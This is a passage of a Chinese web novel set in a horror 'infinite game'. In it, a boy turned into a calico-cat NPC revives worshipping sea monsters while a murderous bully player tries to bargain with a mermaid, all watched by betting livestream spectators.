这些npc仍是他们生前那副麻木诡异的神情，双目涣散没有焦距，对着花黎再三跪拜。 就是…… 【感恩可爱的小猫咪】……？ 是他听错了吗…… 然而npc们并没有给小猫仔细思考的时间，他们祈祷完毕后，站起身，七十多个npc，手拉着手，环成一个大圈。大圈内又环成一个小圈。 小小的三花猫被围在圆圈中间，晕头转向地看着npc组成的圆圈顺时针转完又逆时针转。 就这么转着，转着…… 人类转不见了。 取而代之的，是满满一地窖的怪物。 有的生了湿黏的触手和满满一身的吸盘；有的像巨型海葵，柔软的须须在空气中摇摆；还有疑似水母的生物…… 花黎惊恐地跑到那只在地上扁成了一滩透明塑料袋的小水母跟前，用爪子小心翼翼戳了戳水母的身体…… “咪……”你……你还好吗qwq要咪给你浇点水不…… 除了变成塑料袋的水母外，其他怪物慢吞吞地驱使着在岸上不太灵活的身体，在地窖内一通翻找，最终将一个隐蔽地置放于后门附近的大桶咕叽咕叽地推了过来。 花黎好奇地往桶里看了一眼，是满满当当的肉糜。 看不出是什么东西的肉。 这些怪物不同于阿尔伯特他们，大约等级比较低，无法同花黎交流。 那只领头的小章鱼看见花黎疑惑的表情，两只豆豆一样的鱼眼弯成了两条很卡通的弧线。 “阿咕……叽叽……” 花黎听不懂。 但他能看得懂。 只见小章鱼推翻了那个桶，桶里的肉糜洒了一地，怪物们一起涌上来，沉默地嗦着肉。 花黎歪着脑袋想了想，用前爪捞起一点肉糜，放到了滩在地上的水母的触须边。 蛄蛹，蛄蛹—— 水母缓慢地蛄蛹了几下，紧接着，便用触须一点一点捻起那滩肉糜，默默地将肉糜吸收。 “这大概就是安娜每天在剁的肉了。” 宋斐不知道什么时候出现在了地窖门口，地窖门大开，男人的背后透出外界的亮光，看不清神情。 花黎抬头看了宋斐一眼，小小声“喵”了一下。 他以为宋斐会好奇他做了什么，才让这地窖一下子变成了没有水的海洋馆。 但宋斐什么也没问，只是如同之前一样，淡定地抱起花黎。 男人的鼻子很轻微地动了动，嘴角勾出了一个淡到几乎看不出的笑容。 花黎还以为自己看错了。 宋斐大哥二号，好像跟他亲大哥一样，生性不爱笑。 他笑了喵？ “小家伙，你身上有好浓的海鲜味。”宋斐就这么维持着他那点笑意说道。 他低下头，在花黎的脖颈处吸了一下。 宋斐的体温偏凉，身上有一股好闻的青草气息。 不知为什么，花黎有一点点不好意思。 小猫团团再次将脑袋缩进了宋斐的胳膊肘。 就在此时，外面传来一片吵嚷声，大约是程凡带着他的新“猎物”回来了。 宋斐说：“他跟那条人鱼约定的时间，就是今晚了。” 18、第十八章 游戏大厅内，围观群众一片惊呼，此起彼伏，整个广场的空气都沸腾了起来！ “我靠我靠我靠！” “到底怎么回事？？？我天！这里怎么变成怪物大本营了？？救命啊我错过了什么！！！” “我去，该不会跟这只猫有关吧……” 由于游戏大厅内的直播大屏只能转播玩家视角，没法转播npc视角，因此大家都不知道那只小猫在悄悄折返回安娜的房子后，到底发生了什么。 他们只在宋斐下了地窖后，跟随宋斐的视角，才震惊地发现，安娜家的地窖内竟然满是怪物！！ 那些怪物吃肉糜的姿态黏着可怖，但祂们都让开了一点距离，将那只小小的三花猫小心翼翼地圈在中心。 如同维护着稀世的奇珍。 此番景象让游戏大厅内的玩家既惊悚又摸不着头脑，大家大呼小叫了一阵，所幸围观群众里也有聪明人。 “那只猫之前在外面的时候不是治好了那个洛书亦的伤么。” “那又如何？有的npc甚至跟宠会一点小技能还算是挺正常的吧。而且这只猫之前掏过防护罩，可能就是有治疗辅助能力的npc。” 聪明人道：“它能治玩家，你们就没想过，它可能也能治npc……还有怪物么？” 诡异的沉默。 许久，才有人颤巍巍道：“之前那个宋斐说，童话镇上的‘人类’都不是真正的人类。难道说，这些人本来就是怪物，是这只猫把它们复活的……？” 这个猜测实在是有点匪夷所思，因此没有人接话。 所有人心中只浮现出一个念头——这只可可爱爱的三花猫……它到底是哪边的的？ 是玩家这边的，还是……怪物那边的呢？ 如果这只看似人畜无害的小猫，真的是怪物那边的，那……或许远比大家想象中的，要更加可怕。 “继……继续往下看吧。毕竟，就算这只猫真的是什么随机出现的恐怖怪物，我们也要先了解它的情况吧。” 沉默许久后，才终于有理智的玩家这么说道。 . 程凡用拖车拖了二十几具新鲜的尸体，回到了安娜家。 今天就是那条人鱼说的“上供”的日子了。 虽然他目前还没有凑够100具尸体，但他至少凑到了97具。 整个镇上，所有的npc，都已经是他的囊中之物。 程凡拖着拖车，想起当年还没有进入游戏时的光景，舔了舔嘴唇，露出一个腥甜的笑。 他出身差，从来做事就不计后果。只要自己能成为最终的胜利者，别人怎样……他他妈根本无所谓。 接下来，他只要他妈找到空隙跟机会，把他的三个“队友”干掉…… 他就会成为这场游戏，最大的赢家。 程凡推开安娜家地窖的门，动了动鼻子，之前那股如影随形的腐臭味不知何时消弭殆尽，只余一股海腥味。 他已经盘算好了，要把这些尸体分成三波运到海边。等到日头西落，明月初升之际，就是向人鱼献上祭品的绝佳时机了。 程凡一步步迈下通往地窖的楼梯，越往下，那股咸腥味便越重，仿佛整个人置身于深海之中。 踏上最后一级台阶，有什么软软的东西缠上了他的脚腕。 地窖没有开灯，也没有日光照耀进来，一片黑暗。 程凡感觉有什么东西在吸吮自己的脚踝，那种触感滑腻恶心，比杀人的感觉还要令人不适，他身上腾起一颗颗的鸡皮疙瘩。 低下头，只见一坨黑红色的、形似章鱼但满身吸盘的恶心玩意儿正抱着他的脚踝。它身上密密匝匝的吸盘如同无数只小嘴，正一张一合地吮吸着他的脚踝和小腿。 就在程凡低头间，他被那股海腥味包围，无数海怪蛄蛹着向他而来。 程凡怔怔看着那四面八方涌来的各种怪物，惊恐地咽了一口口水。 ——他才不过离开几个小时，安娜家的地窖……到底发生了什么……？ 怪物不会给程凡惊恐思考的时间，那些海怪缓慢前行，爬到程凡脚边，再从他的脚部向上攀爬…… 章鱼的触手跟吸盘吸附着程凡的身体驱赶，水母跟鱿鱼的细细的触手缠绕着他的身体。 某些海葵和贝类、藤壶一类的浮游寄生生物甚至顺着他的脖子爬上他的下巴，再顺着他半张的嘴钻进去，一直钻向咽喉深处—— “哕——！！！” 程凡白着一张脸，弯腰疯狂呕吐起来。 到底为什么……事情会变成这个样子…… 在他出门“狩猎”的时候，这里到底发生了什么…… 程凡双手扒着双颊，奋力想把钻进喉咙的怪物呕出来，但那些东西身上有湿滑的黏液，就这么紧紧黏在他的口腔跟喉管中，纹丝不动。 甚至有的还在向下……朝着他的五脏六腑滑去—— “救……救我……！救命——！啊啊啊啊啊啊啊啊——！！！” 程凡已经顾不上自己原先来这里的目的，匍匐在地，将手指探进喉管，拼命抠挖，试图将那些吸附在他身体各处黏膜上的怪物呕出来，然而……根本就没有一点用！ 这些东西如同最阴魂不散的水蛭，仿佛要吸走程凡所有的生命力。 “到底……怎么……回事——呕——” 程凡跌跌撞撞地下楼，还没走到最后一级台阶，就因为钻心的疼痛直直摔下了楼梯。 他像一只狼狈的皮球一样滚下那长长的楼梯，摔得头晕目眩，等到抵达最底层的地窖内时，晕晕乎乎一抬头，发现自己已经被密密麻麻的恶心海怪包围了。 而海怪包围圈的正中心，是那只三花小猫。 程凡扶着墙，艰难地坐起身，看到那只小猫，眼睛都亮了起来。 他想起，之前在船上的时候，是这只猫保护了洛书亦跟纪铭那两个菜鸡！ 这只猫，是会保护玩家的npc！ 程凡于是伸出一只手，尽量无视喉管和肺部被怪物侵占的剧烈不适感，装出一副和蔼可亲的姿态：“嘬嘬嘬——小家伙，快，快过来……快，拉防护罩，保护我！” 三花猫歪了歪头，大大的眼睛瞪得圆滚滚的，低低地：“喵——” 它没有靠近程凡。 “小家伙，小家伙……快来救救我！我保证！等我通关了，一定给你买最好的罐头跟猫粮——！救救我！快救救我……啊——！！！” 花黎看着尖声嚎叫扭曲的程凡，仍旧没有动弹。 程凡一边惨嚎，一边愣愣地看着那只三花猫，不知是幻觉还是他的臆想，他竟在那只猫身上……看到了一个上辈子的熟人。 ……花黎？ 恍惚中，那只三花猫变成了人形，正是在全球游戏化之前，被他欺凌了无数次的那个少年。 19、第十九章 程凡呆在当场，以为自己看错了——这只猫怎么会跟花黎那个臭崽子产生联系？ 身体跟喉咙被怪物紧紧缠绕，程凡从咽喉里发出破风箱一般的“嗬嗬”声，用力眨了眨眼睛，再次看向那只猫。 没有变化，还是花黎那个臭崽子的样貌。 “怎么……到底…………怎么……回事…………”程凡艰难出声。 他在怪物的束缚中，瞪大了眼睛，望着被众多怪物围在中间的“花黎”。 少年比初中的时候长高了一些，虽然身量仍旧不算高大，也还是瘦，但也不再是曾经那副营养不良的小豆芽菜的样子了。 程凡其实对花黎印象还挺深的。 他从小不爱学习，喜欢混各种混混团体，但是混混团体比普通学生更看人下菜——人家有名牌球鞋，有限量款aj，有最新款的苹果手机，玩起手游来，随随便便就能氪一单648，你不行，那你就是最底层。 大多混混家里条件都谈不上好，但他们总有搞钱的办法。不管是偷刷父母辛苦攒下来的工资卡，还是找几个小弟给自己“上供”……总之，他们这样的人，有他们这样的人的生财之道。 程凡一直都看不上自己父母，别人都说他爸妈是好人，对他也好，但在他眼里，两个没本事只能在菜场卖菜的爹妈，就是对他再好，拿不出钱来，也没有屁用。 他小点的时候会跟他爹妈撒泼、在他们摆摊的地方大闹，以给自己多搞点钱买东西。 后来发现从这对穷逼身上实在是榨不出什么油水来，他就把目光转向了附近的初中生。 其实本来他对花黎这个小豆芽菜没什么兴趣，这逼崽子一个初中生了，营养不良得跟小学生一样，身上也没有什么值钱的东西，一看就是家庭条件不好的。 他的主要目标是洛书亦跟纪铭——家里有点小钱，性子还懦弱，就算对他们下手也不用担心他们去告状给自己惹麻烦。 但他没想到，花黎这根豆芽菜，就是要护着洛书亦跟纪铭，明明他自己也弱得要死。 程凡当时，对着这个死倔死倔的萝卜丁，都气笑了。 他最讨厌不把他放在眼里的混蛋了，更不要说只是一个小崽子，居然就敢不把他程凡放在眼里！ 所以当年他揍花黎的时候，下手尤其重，这崽子就硬生生给他揍，一声不吭，回去也没跟爹妈老师告状。 程凡看着他那副样子，明明是自己把人揍了，却莫名有种自己输了的窝囊感。 于是再揍。 揍完把那崽子身上一点可怜的零钱全部卷走。 …… 周而复始。 程凡奋力抬起手，揉眼睛，他觉得一定是自己眼花了。 以花黎那点战斗力，进了这个无限游戏，八成是早就死了吧，怎么可能出现在副本里…… 长大了一些的少年皮肤白皙得近乎透明，指尖、手肘、膝盖等关节处透出淡淡的粉色，下巴比当年变尖了，从营养不良的豆芽菜中脱胎出些许青年的样貌来，也能说得上是男大十八变了。 但程凡还是一眼就认出这个崽子来了。 “难道……这些…………都他妈是你干的……？就他妈，为了搞我是吧……”程凡嘶声。 …… 花黎根本没听见程凡在说什么做什么。 小猫在忙着研究自己忽然进化的个人属性面板。 【被动技能激活成功：「信仰之力」】 【技能介绍：来自怪物的信仰促生成的力量，祂们将你视作神明，视作救赎，视作前行的方向。收集更多信仰之力将提升个人属性，让你更加强大。】 又是【叮】一声。 【综合战斗水平提升：f→c】 【级别提升：幼稚园级→萌新级】 看来是怪物的信仰，侧面促使他等级提升了。 花黎对这个结果很满意！ 宋斐刚才看他没什么事就先出去知会洛书亦跟纪铭了，现在地窖里只有他跟程凡。 小猫于是抬头看向被怪物淹没的程凡，习惯性地想抬起爪爪舔一舔，抬起来才发现……他毛茸茸的猫爪不知道什么时候不见了。 花黎盯着自己细长的五根手指发怔。 他这是……变回人类了吗？ 然而，小猫还没来得及开心，身上就白光闪了闪，等再次低头的时候，入眼又是山竹一般圆润毛茸茸的白色爪爪了。 小猫抬爪，呆呆舔了两口。 嗯，还是那个味。 【系统提示：怪物npc的等级提升后有一定可能发生外形改变，目前信仰之力不足，无法继续维持新形态，退回原样。】 花黎心中一动。 原来，刚才不是幻觉啊。 也就是说，只要收集到足够多的信仰之力，他就能变回人形并且维持下去了吗喵！ 花黎开心极了！ 唔，虽然做小猫咪也很好——可以每天睡到日上三竿，就算作为实习生什么也不做也绝对不会被阿尔伯特责怪，甚至阿尔伯特跟淑贞还会每天花式给他投喂罐罐。 但是，有很多事情还是作为人类的时候做起来比较方便呢。 花黎也想为大家做更多的贡献啊，花黎不想只做小猫心安理得享受大家的好~ . “喂，你们刚才有没有注意……” “什么？注意啥啊！我可是花大价钱买了程凡单通啊！现在这货一副要嘎的样子，我才没闲工夫注意别的！” “那只猫在的位置，刚才好像忽然出现了个人诶……” “蛤？我看看……哪有人啊？你没睡醒吧。” “唔……刚刚还在的啊……难道真是我看错了……？” 玩家们低声议论，无人注意到，广场角落的李沛南怔怔地看了一会儿直播大屏，然后再三揉眼睛。 “怎么了，李沛南？”他的同伴随口问。 “没……没事。”李沛南眯着眼睛盯着屏幕中的怪物堆、以及被怪物围在中间的小猫许久，才小声道，“八成是我看错了。我那便宜弟弟怎么可能在那里……” 他摇摇头，没把这个小插曲放在心上，倒是看了眼情况急转直下的程凡，一拳捶在了墙上，“妈的，我可是把所有身价都赌他一个人身上了！丫的到底行不行啊！” . 程凡也想“行”起来。 他强撑着身体，嗑下了包里最后一颗增强体能的药。 待药效灌注全身后，他用尽全身力气，从地窖中的怪物堆里脱围，玩命向外跑去。 程凡知道，自己现在的样子一定看起来十分惊悚可怖。 他的嘴里跟咽喉里爬满了密密麻麻的藤壶，刚才还能说几句话，现在已经一句话都说不出来了。 他觉得自己的喉管都已经被藤壶黏在一起了，甚至或许，就连肺部也已经被这种可怕的怪物占领。 程凡艰难地呼吸着，只觉得出气多进气少，像被人捏尖叫鸡一样掐住了脖子。 但他现在已经顾不上这么多了。 他要找到那条人鱼！他要向那条人鱼解释：他已经杀死这个镇上所有的人了！他绝对是忠心地要向祂献上这些祭品的——！ 就算他没能完完整整地把人鱼的任务完成，起码他完成了97%啊！ 他已经比那三个闲人强得多得多得多了。 只要他表现得足够虔诚，人鱼说不定会救他，还会网开一面让他通关…… 天色已经暗下来，这座原本就冷清静谧的镇子现在已经变成了鬼镇，没有一家的窗户亮着，黑漆漆一片，街道上也空无一人。 程凡先是跑着，然后变成走。 再后来，因为吸不上气，氧气越来越少，眼前发黑，他连走都维持不了，匍匐再地。 唯有一个念头支撑着他——他要去海边，他要找到那条人鱼！ . 宋斐等三人眼睁睁看着程凡面目狰狞地从他们身边跑走了，向着海岸的方向而去。 “他是不是去找那条人鱼了……我们会不会有危险……”洛书亦有些担心。 “没事，随他去。” 宋斐潇洒地丢下这句话，就再次大步回了安娜家，洛书亦跟纪铭见状，便亦步亦趋地跟了上去。 他们都有预感，这个副本的进程……接下来恐怕就要进入白热化了。 原本他们的本能下意识觉得，跟着宋斐或许能求得一线生机。 现在这个直觉变了。 变成了：跟着宋斐跟那只小三花猫，也许真能在这个sss级恐怖副本里存活下去！ 安娜家中，小小的三花猫正围着楼梯口上安娜的尸体左一圈右一圈的转，然而尸体并无动静。 “复活不了？”宋斐挑了挑眉，斜倚在楼梯栏杆上。 他听着小猫嘴里叽里咕噜的念叨，也不知道小东西叽叽咕咕地在说什么。 “喵……”小家伙抬头，巴巴地看着他。 宋斐竟在那张圆脸上看出了一丝委屈。 他挠了挠小猫的后颈，安慰小家伙：“稍安勿躁。” 花黎：“喵~” 花黎的确有些沮丧。他刚才对着安娜的尸体默念了好多遍【天使之心】，但这次跟之前不同，没有白光，也没有起死回生，安娜的尸体始终静静躺在地上。 ……他还挺喜欢安娜的。 他喜欢这个会在辛苦剁了一天肉后，晚上还会惦记着给他准备一份美味宵夜的女孩子。 目前lv50的【天使之心】的确有些局限，起死回生仅仅对c级和以下怪物奏效。既然对安娜无效，就证明她要么是人类，要么是c级以上的怪物。 花黎毫无办法。 外面还堆放了一车程凡新运回来的尸体，想必其中有那个给他吃过海胆的海胆小哥哥。 花黎便暂且先放下安娜，决定去复活一下外面的那些镇民。 小猫跑到屋外，在安娜家侧面库房门口找到了程凡拖回来的那二十几具尸体。 【天使之心】 温润的白光再次凉气，照亮了一整片空旷的院子。现在天色已经很晚，显得这白光愈发耀眼。 花黎高举着小猫爪爪，站在拖车边，小猫身前就是一团越来越亮的光。 有一种“入我圣教，喵喵喵喵”的神圣感。 拖车里的尸体身上的伤口以飞快的速度愈合，渐渐睁开眼睛，又渐渐变回自己原本怪物的模样。 他们如同第一波被花黎复活的怪物一样，挪动着身体，爬下车，虔诚地将花黎围住。 祭拜。 【叮——被动技能「信仰之力」激活，信仰之力灌注中。】 花黎感觉身上热热的，很舒服。 这就是被信仰之力灌注全身的感觉吗……小猫懒洋洋地眯起了眼睛，挺了挺自己的白肚皮。 然而…… 【叮——系统警告，系统警告，「天使之心」耗能达到临界点，机体负荷过重，是否开启紧急休眠模式？是/否】 热热的……但也晕晕乎乎的…… 头好晕哦……喵………… 花黎晕晕乎乎地用他软绵绵的猫爪，在【是】的选项上拍了一下。 【紧急休眠模式启动】 【「信仰之力」积攒完毕，「怪物npc花黎」外貌进阶，拟态完成。】 …… 等到宋斐等三人察觉到小猫跑了以后一直没有回去，紧跟着追来之时，他们梭巡了一圈，也没找到那只可爱的三花小猫，只看见了变得越来越多的怪物。 又仔仔细细找了一圈，最后是宋斐眼睛最尖，他在安娜家旁边的灌木丛角落里，抱出了一个少年。 少年白皙纤细，眼睫如鸦羽般浓密纤长。 唯一尴尬的是……他没穿衣服。 宋斐默默拿出自己背包里的备用衣物，给少年裹上了。 少年温热的身体躺在他怀中，宋斐低头看他，某种微妙但又难以琢磨的熟悉感涌上心头。 但仅仅只是一瞬间。 天空中忽然雷鸣电闪起来。 从安娜家的方位，可以看到这座岛的海岸线，惊雷打到海上，黑色的巨浪翻涌。 就跟那一天，他们的海盗船在海上撞见海怪时的场景一模一样。 20、第二十章 宋斐无视了头顶上的雷鸣电闪，也无视了海上的巨浪滔天。 他低头，俯视着怀中睫毛微颤的少年。 他给少年裹了一身自己的白色衬衫，少年的肤色近乎跟雪白的衬衫难以区分。 像一个细细条条的小雪人。 宋斐的衣服对于少年来说太大了，一件白衬衫就将他整个上身和大腿都裹在了其中。衬衫领口的扣子没扣，露出了精巧的锁骨。 很瘦很瘦。 也很小。 宋斐无意识地这么想着，将衬衫领口给少年拢好。 然后，他抱着少年，在电闪雷鸣的天幕下回头，又环视整个院子。 院子里已经被怪物侵占，这些海怪就着大雨，尽情地、贪婪地吮吸着雨水，在泥地中滚动着，爬行着。 但四处都不见那只小花猫。 宋斐若有所思地再次低头看了少年一眼，少年睡得不太安稳，睫毛又颤了颤，淡粉色的双唇微微翕动，似乎在说梦话。 他凑近了些，想辨认少年在说些什么。 “……喵呜……呜咪咪咪喵……&*……*6&%#￥%” 宋斐：“…………” 男人的眼神微微一荡。 . 宋斐将怀里的人裹得很严实，他身形又高大，将摄像头的角度遮了个严实。 游戏大厅内的围观群众只能大致看见宋斐怀里抱了个人，但具体这人长什么样，是玩家还是npc，哪冒出来的……没人知道。 不过比起这种无足轻重的小插曲，他们还是更关心程凡和人鱼。 “又下暴雨起大浪了，人鱼要来了吧。” “不知道之前人鱼答应程凡的算不算数——严格意义上来说，不管那些npc是不是作为怪物复活了，但程凡确实把它们杀死过啊。要我说，人鱼算他过也ok啊。” “人鱼要的是一百具尸体，他满打满算也只杀了97个。” 广场上玩家们议论纷纷，彼此争论起来之时，才有人认真观察了宋斐怀里的人。 并提出疑问：“宋斐抱的到底是谁啊？话说那只小猫去哪了？” “……不知道。”另一人扶了扶眼镜，抿唇，“但依我看，说不准那只三花猫，还真的是他们这把副本的重要转折点呢。” “就是不知道，到底是往好的方向转，还是……往坏的方向转呢。” “诶？？怎么回事？？？怎么忽然黑屏了？？？？咋回事？直播事故？？？” 广场上的几块转播大屏幕忽然同时变得漆黑，右上角显示【nosignal】的字样，围观群众们——尤其是在赌坊下了大注的，都急得差点蹦起来。 眼看着副本进行到这种白热化的关键时刻了，怎么还带出直播事故的？！ 匪夷所思！ . 真相并不匪夷所思。 宋斐感受到那种若隐若现的被窥视的感觉消失，知道他的防窥保护罩起效了。 这也是商城里卖的道具，不便宜，用上以后可以形成一个单向的密闭空间，空间内的人能看清外部，外部却看不清内部。 既能防止副本内部的怪物和不友善玩家偷窥，也能防外部的副本直播。 外面雷雨交加，他们眼睁睁看着不远处的一棵巨木被劈成了焦炭，闪电劈中树冠的轰隆声，以及大树轰然的倒塌声吓得洛书亦浑身一颤。 竟是比那天在海上的雷雨还要大。 出于安全考量，宋斐等人又回了安娜家内部。洛书亦跟纪铭透过窗子望着外面天劫一样的天色和海上的巨浪，焦虑地在屋里来回踱步。 人鱼，或许真的会再次出现。 如果人鱼真的帮程凡的话，他们的小命可能就都保不住了。 大暴雨之中气温骤降，洛书亦一边焦虑着，一边给壁炉烧上炭火。这么烧了一会儿以后，屋内气温攀升，暖融融的。 宋斐面前就是铺了柔软鹿皮的椅子，但宋斐并未将手中的少年放下。 “宋斐哥，你怀里抱的是谁啊？”纪铭稍微平复了心情，好奇瞅了一眼宋斐怀里那被衬衫裹得严严实实的少年。 从他的视角，只能看到两截从衬衫下摆中垂下来的纤细小腿和脚踝，脚踝处的关节泛着粉，这人没穿鞋，两只白生生的脚在宋斐身侧微微摇晃。 不知为什么，纪铭看了一会儿，觉得脸上有些发热，慌忙移开了视线。 “地上捡的。”宋斐言简意赅。 纪铭：“啊？这镇上的人不是都死了么？” 宋斐瞥了他一眼，意味深长道：“未必是镇上的。” 此时洛书亦生完了火，走过来，也同样好奇地盯着宋斐怀里的人看了一会儿。少年的侧脸被黑色碎发遮住了大巴，看不清晰样貌，但他总觉得这个侧脸看上去有几分眼熟。 是在哪里见过呢…… 洛书亦正出神，纪铭又道：“宋斐哥，我们现在要、要做些什么吗？” “等。”宋斐。 “等？”纪铭苦涩道，“再等，我们是不是就都要嘎了啊。” 从进了这个副本到现在，他们似乎并没有真正行动过什么，什么事都让程凡一个人干了。 宋斐说：“就是因为他什么都做了，所以我们只要等就好。” 洛书亦跟纪铭都不是很理解宋斐的意思，但男人也不继续往下说了，两个高中生只能忧虑地望着窗外漆黑的天色和煞白的闪电，满目忧虑。 宋斐感觉到怀里的少年动了动，睫毛颤抖的幅度变大了一些，眼睑翕动，似乎要睁开眼睛。 “我靠！怎么回事！” 纪铭忽然叫了起来，惊恐地望着门口跟窗户的方向，往后退了半步。 宋斐顺着他视线所在的方向看过去，只见屋外原本安安静静的怪物们，此时都蠕动着涌到了门口跟窗边，紧紧贴着门窗，密密麻麻的一大堆，看得人头皮发麻。 蛄蛹……蛄蛹……蛄蛹…………咚。 咚—— 咚———— 拦截地窖和一楼的大铁门也传来被钝物撞击的声音，沉闷而坚决，一下一下，铁门渐渐开始晃动，门锁哐哐直响。 宋斐皱眉。 刚才程凡逃跑后，他就锁起了地窖的门，趁那些怪物没反应过来，将他们锁在了底下。 c级怪物不是什么强悍的存在，但在这样的数量之下，也多少有些麻烦。 明明这么长时间下来，这些家伙都乖乖待在地窖里，怎么忽然—— “嗯…………鳕鱼……罐罐…………” 怀中的少年小嘴嘟嘟囔囔的，宋斐也没听清楚他在说什么。少年还没有清醒，一只手无意识地攀上他的手臂，抓住宋斐的衣袖。 攥住，又松开，又攥住，再松开…… ……很眼熟的姿势。 某些圆圆的小山竹爪子也经常做这个动作。 地窖撞门的声音更大了，铁门旁边的墙面甚至出现了一道道的裂纹。 砰砰砰的撞击力道，不容小觑。 “哗啦”一声，墙壁上的窗户也碎裂了。 与此同时，安娜家屋子的大门也终于被撞开，发出一声巨响。 洛书亦跟纪铭的眼睛不知道该往哪看，两个高中生手上脖子上都冒出了冷汗，这种被四面夹击的感觉……让他们的大脑都宕机了。 “快……快！把桌子椅子都搬过去！！抵住地窖的门！千万不能让里面的那些东西也爬出来！！”洛书亦颤声喊道。 但已经来不及了。 终于，地窖跟一楼只见拦截的大铁门轰然倒塌，带起一阵烟尘，而那里面被关了许久的怪物们乌泱泱一团，争先恐后地涌上了楼。 不过是眨眼之间，整个一楼大厅都被蜂拥而至的怪物包围了！ 怪物们黏腻的、湿滑的、糊状的……奇形怪状的身体靠在一起，将他们几人包围在中间。 他们听到了诡异的声音，庞杂纷乱，像是直接在脑子里响起的。 【我们的……主人……】 【把我们的小主人还给我们呀坏蛋！】 【叽叽咕咕……啵啵啵……主人宝宝……】 【主人……老大…………呜呜呜呜】 【坏玩家，坏玩家，玩家都是坏家伙=皿=！！】 宋斐：“……” 洛书亦&纪铭：“……” 一时间，就连胆子最小的洛书亦都忘了害怕，讷讷张嘴，环视周遭一圈，最后目光定格在宋斐怀里罩着衬衫的少年身上。 “那个……宋斐哥，冒昧问一句，这个人你到底是在哪捡的……？它们说的‘主人’……难道是？” 【叽叽叽，我可以揍这些玩家吗？】 【啊可以可以。】 一只透明的、带着淡淡紫粉色的小水母“咻”地窜上来，无数细细的透明触手伸长，像丝线一样缠住了洛书亦的脖子。 洛书亦瞬时间感到一股强烈的窒息感，脸色通红，捂着脖子呛咳起来。 他想把水母的触手扯下来，但没有用，触手反倒越缠越紧了。 无数声音在他的脑海里响起来，仿佛每一根水母的触手都在往他脑袋里传输水母的内心os。 【弄死你，弄死你，坏人！欺负主人宝宝！！】 【看我缠缠缠缠缠——】 【玩家没有一个好东西。】 【呵呵呵呵，认输吧，我的大触手可是有毒的^-^】 其他的怪物则蠢蠢欲动，试图向宋斐靠近。 然而，比起洛书亦，祂们似乎对接近宋斐有些忌惮，踟蹰着磨蹭着，不敢上前。 直到宋斐身侧垂着的那只白净的手，手指动了动。 21. 第二十一章 海底。 塞壬坐在银色的贝壳里恹恹地打哈欠。 是这样的。祂是一条低能量的人鱼。 虽然出来出任务完成KPI并不是一件很难的事，但对于低能量怪物来说，哪怕是启动自己离开床——对于祂来说是鱼缸——都是一件非常难的事情，更不要说出差了。 所以祂每个月都是卡着最低要求在月底完成副本任务，而且尽量速战速决，但这次不一样。 这是小梨花第一次出任务，应该给他一个更完整的体验。塞壬想。 塞壬的宠物阿piu时不时用自己的大触手在塞壬的尾巴上挠一把，塞壬很想说：既然我们不是猴子，就不要模仿猴子抓虱子。 海里没有虱子。 祂身上也没有藤壶。 塞壬默默看了看阿piu，祂大概知道，人类玩家管阿piu叫波塞冬，那是阿piu官方登记的名字。 但祂觉得这个名字不太适合阿piu，就像很少有主人会给自己的小猫咪起名托塔李天王一样。 啊，说到小猫咪—— 塞壬：【总之，小梨花是一只特别厉害的小猫。他做的菜也很好吃，很合我的口味。】 阿piu无语：【嗯，嗯，主银，这件事，你已经说过至少八次了。】 塞壬：【而且小梨花的毛手感很好，鱼也会喜欢的软软的触感。小梨花的耳朵跟我们长得很不一样，尖尖的，上面有很细很细的绒毛毛，摸一下耳朵尖就会动……】 阿piu：【……】 总觉得，祂的主人塞壬，这次回来以后话变得多了许多。 以前明明是一条非常沉默寡言的鱼的。 而且三句话不离那只小猫。 唔嗯…… 潮水翻涌起来，塞壬鳍状的耳朵动了动，感受了一下潮涌的方向，抬头望向海面。 【那个人来了。阿piu，虽然我知道很麻烦，但是要记住，一切都要以小梨花的体验为先。】 阿piu缓缓点头。 咕嘟咕嘟咕嘟……一大片泡沫涌起，人鱼长尾一摆，从海底向海面游去，巨大的海怪紧随其后。 海底是一片漆黑伸手不见五指的，海面上就全然不同了，一道道闪电劈下，将这一片海域映照得宛如白昼。 塞壬游到了岸边，向那个在海滩上手舞足蹈招呼祂的男人而去。 …… 程凡远远地就看到了那条银色的人鱼，人鱼蜷曲干枯的长发在海面上浮浮沉沉，看上去是那么强大又冷酷，哪怕无数闪电跟闷雷降下，也不会伤到祂分毫。 那条人鱼就那么直直向他游过来，上半身破出海面，属于人类的身躯上还能看到几片若隐若现的鱼鳞。 【什么事？】 他听到人鱼问他。 程凡倏地就跪了下去。 “我……我给您的祭品，已经准备好了！虽然……虽然没有一百个，但也足足有九十七具尸体……！都……都是我亲手杀的！人鱼老大，您……您就算我过吧！行不行！算我……算我求您！” 他咚咚咚地给眼前的人鱼磕头。 不管什么时候，一百分满分的卷子，也不会说你得了九十七分就不让你过吧！ 他觉得，他还是有很大概率能获得这个怪物的高抬贵手的！ 【97具？】 “没，没错！” 【尸体……都在哪里？】 “在，在镇子里！我都放在那个镇长安娜家了……” 程凡这话说得有点心虚，毕竟那些尸体中有很大一部分都变成怪物了，他也不知道这算不算过…… 算了，先这么着。 工作这事，不管干得怎么样，重要的是怎么汇报。 想到这里，程凡便添油加醋地向人鱼汇报了一番自己是如何如何勇猛地杀了那些NPC，又抹黑了一把他的队友们，最后轻轻带过自己到底是为什么没能杀掉这些队友的，主打一个选择性汇报。 人鱼的大尾巴不耐烦地重重拍打了一下水面。 巨浪涌起，直直扑向程凡，如同一场小型海啸，差点把他掀个跟头。 【别说……这么多，带我去——】 “咳咳咳咳……”程凡呛了一喉管子水，不敢再多叽歪，赶紧又歪歪倒倒给人鱼磕了个头，连滚带爬地爬起来。 这个平常十分凶悍的混混此刻唯唯诺诺，回头小心翼翼地看人鱼，担心离开了海水这条鱼跟不上。 但人鱼很轻盈地爬上了岸。 只见祂匍匐在地，鱼尾在身后摆动，向前爬行，身后流下一道水渍。 程凡咽了口口水。 . “他成功了他成功了！！人鱼来了！！！” “通关！通关！通关！！！我的眼光果然没错，这个程凡就是全服第一个通关SSS本的人！而且应该还是单通！” “看来赌坊里他的赔率又要降回去了。” “另外那几个人，从头到尾根本什么都没干嘛！那个宋斐，光搁那分析，以为他多厉害呢，但除了跟程凡内讧，也没实质推进副本，还是不行啊。” “嗯，现在就看那只猫到底还会不会再整出什么幺蛾子了。” “但是看不到啊……” 游戏大厅内的玩家陷入沉默，他们这才想起，刚才一切宋斐他们那边几个人的视角就显示没有信号，根本看不了直播。 “也不知道他们那边怎么样了……” . 宋斐他们这边，自然是很混乱的局面。 三人被小怪物们包围，整个安娜的房子变成了一片海鲜战场，满地都是章鱼水母鱿鱼金枪鱼还有各种黏黏腻腻叫不出名字来的小海怪。 